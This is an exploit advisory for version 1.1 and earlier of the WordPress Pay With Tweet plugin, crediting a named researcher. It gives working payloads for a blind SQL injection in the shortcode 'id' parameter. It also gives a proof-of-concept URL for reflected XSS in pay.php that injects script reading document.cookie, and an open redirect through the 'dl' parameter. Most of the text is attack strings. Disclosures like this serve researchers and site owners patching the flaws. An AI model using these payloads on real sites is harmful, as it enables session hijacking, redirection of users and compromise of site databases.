# Exploit Title: WordPress Pay With Tweet plugin <= 1.1 Multiple Vulnerabilities
# Date: 01/06/2012
# Author: Gianluca Brindisi (g@brindi.si @gbrindisi http://brindi.si/g/)
# Software Link: http://downloads.wordpress.org/plugin/pay-with-tweet.1.1.zip
# Version: 1.1

1) Blind SQL Injection in shortcode:

Short code parameter ‘id’ is prone to blind sqli, you need to be able to write a post/page to exploit this:

[paywithtweet id="1' AND 1=2"]
[paywithtweet id="1' AND 1=1"]

2) Multiple XSS in pay.php

http://target.com/wp-content/plugins/pay-with-tweet.php/pay.php

After connecting to twitter:

?link=&22></input>[XSS]

After submitting the tweet:

?title=[XSS]&dl=[REDIRECT-TO-URL]')")[XSS]

The final download link will be replaced with [REDIRECT-TO-URL]

POC: pay.php?link=%22></input><script>alert(document.cookie)</script>&title=<script>alert(document.cookie)</script>&dl=http://brindi.si%27"<script>alert(document.cookie)</script>